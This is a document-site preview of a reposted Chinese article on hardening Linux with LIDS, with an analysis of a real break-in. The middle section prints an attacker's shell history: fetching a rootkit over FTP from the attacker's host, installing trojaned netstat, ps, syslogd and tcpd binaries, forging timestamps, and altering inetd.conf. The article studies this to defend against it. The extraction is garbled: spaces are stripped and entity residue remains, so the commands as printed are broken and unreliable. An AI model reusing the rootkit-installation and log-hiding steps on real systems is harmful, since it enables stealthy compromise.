Linux入侵檢測轉(zhuǎn)帖_第1頁
Linux入侵檢測轉(zhuǎn)帖_第2頁
Linux入侵檢測轉(zhuǎn)帖_第3頁
Linux入侵檢測轉(zhuǎn)帖_第4頁
Linux入侵檢測轉(zhuǎn)帖_第5頁
已閱讀5頁,還剩4頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

第第頁Linux入侵檢測[轉(zhuǎn)帖]ccess/dev/mem(xfree,etc.)

[]Allowsomeknownprocessestoaccessrawdiskdevices

[]Allowsomeknownprocessestoaccessioports

[]Allowsomeknownprocessestochangeroutes

SpecialUPS

[*]Allowsomeknownprocessestounmountdevices

Allowedprocesses:quot;/etc/rc.d/init.d/halt;/etc/rc.d/init.d/netfsquot;

[*]Unmountingcapabilityisinherited

[*]Allowsomeknownprocessestokillinitchildren

Allowedprocesses:quot;/etc/rc.d/init.d/haltquot;

[*]Killingcapabilityisinherited

看得出,我沒有使用UPS,同時運行的是一個需要能夠遠程訪問的服務(wù)器,我就按照上面

的文件進行了配置,但是在實際應(yīng)用過程中,每個人的系統(tǒng)根據(jù)環(huán)境不一樣,會有一些

差別。

配置LIDS:

有一條特別要引起注意:在你的系統(tǒng)的下一次重啟之前就應(yīng)該配置好LIDS!

我們應(yīng)該使用lidsam來配置LIDS的配置文件/etc/lids.conf,而不能手動的修改。運行

quot;lidsadm-hquot;可以獲得一些關(guān)于如何使用lidsadm這個程序的幫助。LIDS提供了很多使用

LIDS保護文件的例子,例如:

lidsadm-A-r/sbin這條命令保護/sbin整個目錄,并且表示只讀。

我首先的LIDS配置文件應(yīng)該是這樣的:

lidsadm-Z

lidsadm-A-r/usr/bin

lidsadm-A-r/bin

lidsadm-A-r/usr/sbin

lidsadm-A-r/sbin

lidsadm-A-r/usr/X11R6/bin

lidsadm-A-r/etc/rc.d

lidsadm-A-r/etc/sysconfig

一旦配置了LIDS的配置文件,就應(yīng)該修改系統(tǒng)的啟動文件保證在系統(tǒng)啟動的時候就能運

行LIDS,這樣就能有效的在內(nèi)核中啟動LIDS的作用。一般我都是把lidsadm加到/etc/rc

.d/rc.local的末尾,這樣能夠保證LIDS的功能不會妨礙系統(tǒng)的其他應(yīng)用程序的正常啟動

。下面就是我加在/etc/rc/d/rc.local中用來啟動LIDS的腳本:

/sbin/lidsadm-I---CAP_SYS_MODULE-CAP_SYS_RAWIO-CAP_SYS_ADMIN\

-CAP_SYS_PTRACE-CAP_NET_ADMIN-CAP_LINUX_IMMUTABLE\

INIT_CHILDREN_LOCK

配置lilo

我們知道,使用Redhat的RPMS升級系統(tǒng)內(nèi)核以后需要重新配置lilo.conf來保證編譯加載

過LIDS的新內(nèi)核能夠正常的啟動。在下次重啟之后,LIDS將會在系統(tǒng)中運行,不過如果

你需要停止LIDS而執(zhí)行一些系統(tǒng)的任務(wù),就應(yīng)該按照下面的命令進行:

/sbin/lidsadm-S---LIDS或者/sbin/lidsadm-S---LIDS_GLOBAL

你需要提供LIDS的口令,當時在編譯內(nèi)核的時候在內(nèi)核中加入了RipeMD-160格式。

不知道你是否注意到了,在shutdown的腳本中,很多腳本都不能正常的工作。最終的sh

utdown腳本/etc/rc.d/init.d/halt將會停止所有的進程和卸載文件系統(tǒng)。由于在文件r

c.local中quot;INIT_CHILDREN_LOCKquot;的保護作用,其他的進程都沒有權(quán)限來殺掉init()的

其他子進程。同時每隔10分鐘,你就會收到一個關(guān)于quot;rmmod\asquot;不能卸載模塊的出錯信

息。這個主要是由于LIDS啟動以后quot;-CAP_SYS_MODULEquot;的保護使得模塊的插入或者卸載出

現(xiàn)了毛病。我們可以刪除/etc/cron.d/kmod這個文件來防止出錯信息繼續(xù)發(fā)生。

LIDS能夠保護什么?

快速的瀏覽LIDS的文檔就可以了解LIDS的一系列特性。而我認為下面的這些特性是最重

要的:

CAP_LINUX_IMMUTABLE當文件和外那間系統(tǒng)被標識quot;immutablequot;防止被寫;

CAP_NET_ADMIN防止篡改網(wǎng)絡(luò)配置(例如:防止路由表被修改);

CAP_SYS_MODULE防止內(nèi)核模塊被插入或者移除;

CAP_SYS_RAWIO防止損壞磁盤或者設(shè)備I/O;

CAP_SYS_ADMIN防止大范圍的使用其他系統(tǒng)功能;

INIT_CHILDREN_LOCKwhichpreventschildprocessesoftheinit()masterpro

cessfrombeingtamperedwith.

無論在哪個點,上面這些特性都能夠通過命令quot;lidsadm-Iquot;來啟動,通過quot;lidsadm-Squot;

來禁用(可以允許真正的系統(tǒng)管理員來進行系統(tǒng)配置),同時提供已經(jīng)安裝在內(nèi)核中的

LIDS口令(是通過RipeMD-160加密的)。

剖析一次入侵

最近我一直忙于檢查一些被黑過的機器,來推斷一些被入侵的原因還有核實黑客對系統(tǒng)

破壞。很幸運,一些黑客不是特別的聰明,在入侵一些系統(tǒng)之后沒有設(shè)法徹底的抹掉痕

跡。當黑客把一些系統(tǒng)守護進程的緩沖區(qū)溢出以后就可以獲得root權(quán)限,這個時候就是

主機被入侵了(事實上是不可能發(fā)生的,但是安裝Linux系統(tǒng)的人忘記了打上RedHat最新

的關(guān)于緩沖區(qū)溢出的補丁程序,并且讓系統(tǒng)一直運行著)。當然一些黑客也不夠小心,

當他們侵入主機后,很急切的獲得了shell,但是他們經(jīng)常沒有考慮到BASH的命令將會被

存入系統(tǒng)日志文件中,簡單的閱讀/.bash_history就可以了解黑客到底怎么機器上面作

了一些什么事情。這個文件我們可以看看(為了更加簡單我們做過一些細微的修改):mkdir/usr/lib/...;cd/usr/lib/...

ftp0121

cd/usr/lib/...

mvnetstat.gz?netstat.gz;mvps.gz?ps.gz;mvpstree.gz?pstree.gz;

mvpt07.gz?pt07.gz;mvslice2.gz?slice2.gz;mvsyslogd.gz?syslogd.gz;

mvtcpd.gz?tcpd.gz

gzip-d*

chmodx*

mvnetstat/bin;mvps/bin;mvtcpd/usr/sbin/;mvsyslogd/usr/sbin;

mvpt07/usr/lib/;mvpstree/usr/bin;

/usr/lib/pt07

touch-t199910122110/usr/lib/pt07

touch-t199910122110/usr/sbin/syslogd

touch-t199910122110/usr/sbin/tcpd

touch-t199910122110/bin/ps

touch-t199910122110/bin/netstat

touch-t199910122110/usr/bin/pstree

cat/etc/inetd.conf|grep-v15678gt;gt;/tmp/b

mv/tmp/b/etc/inetd.conf

killall-HUPinetd

通讀這些內(nèi)容,我們就可以了解下面的一些動作:

系統(tǒng)中建立了一個名字異常的目錄(/usr/lib),接著黑客telnet到了自己的主機上面

(01,是Brazil某個地方的撥號用戶),同時下載了一套黑客工具。這些

黑客工具尸沒有經(jīng)過壓縮的,中間的一些特洛伊二進制程序被安裝到了系統(tǒng)中了,這些

特洛亦程序覆蓋了系統(tǒng)的netstat,ps,tcpd,syslogd和pstree命令。這些程序是用

來報告系統(tǒng)有那些進程正在運行,那些端口是打開的。

我們從中能學(xué)到什么呢?

首先,LIDS是不能阻止一次入侵的,黑客連接上主機通過緩沖區(qū)溢出的方式獲得系統(tǒng)的

root權(quán)限。

一旦系統(tǒng)沒有黑客入侵,我們看看LIDS是如何使破壞降到最低的:

LIDS通過CAP_LINUX_IMMUTABLE選項可以防止特洛亦程序被寫入到/bin,/usr/bin,/u

sr/sbin和/usr/lib目錄中。這些目錄我們一般都會標識為不可變的(chattri),因

而也不會被修改。我們可以注意到,就算不使用LIDS,也可以通過chattrI命令來標識

目錄為不可變的,但是如果是通過LIDS以后,即使是root也不能篡改不可變標識位。類

似的,如果文件通過chattrI被標識為,touck-t這個命令也會失敗。甚至第一行的quot;

mkdir/etc/libquot;這個命令也會失敗,如果我們標識文件為不可讀的話。

LIDS不能防止黑客入侵,但是可以防止入侵的黑客在侵入后進行很大的系統(tǒng)破壞。一個

后門程序可以被安裝上系統(tǒng),但是沒有特洛亦版本的ps,netstat和pstree能夠很早的發(fā)

現(xiàn)這個后門進程,然后kill之。如果沒有LIDS,我們不可能知道黑客通過這個后門程序

會做一些什么事情,我們唯一能夠進行挽回的工作就是重裝系統(tǒng)。

OpenWall和LIDS:額外的層

另外一個和LIDS相似的系統(tǒng)是OpenWall工程(/linux/)。Op

enWall工程在很多地方和LIDS不一樣,有一個OpenWall的特別的補丁就是使棧區(qū)為不可

執(zhí)行。下面是摘自O(shè)penWall的README文檔里面的申明:

大多數(shù)緩沖區(qū)溢出攻擊都是基于覆蓋一些隨意的程序片段中的函數(shù)返回值在堆棧中的地

址,如果堆棧為不可執(zhí)行,那么緩沖區(qū)溢出的弱點將會變得很難攻擊。另外一種緩沖區(qū)

溢出的方式是在libc中指出一個函數(shù)的返回地址,通常是system()。這個補丁通過修改

mmap()化的共享庫,使其總是一個零字節(jié)的文件。這樣使其不能再指定一些數(shù)據(jù),在很

多攻擊中不得不使用ASCIIZ字符串。

最近,在LIDS的網(wǎng)上上有

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論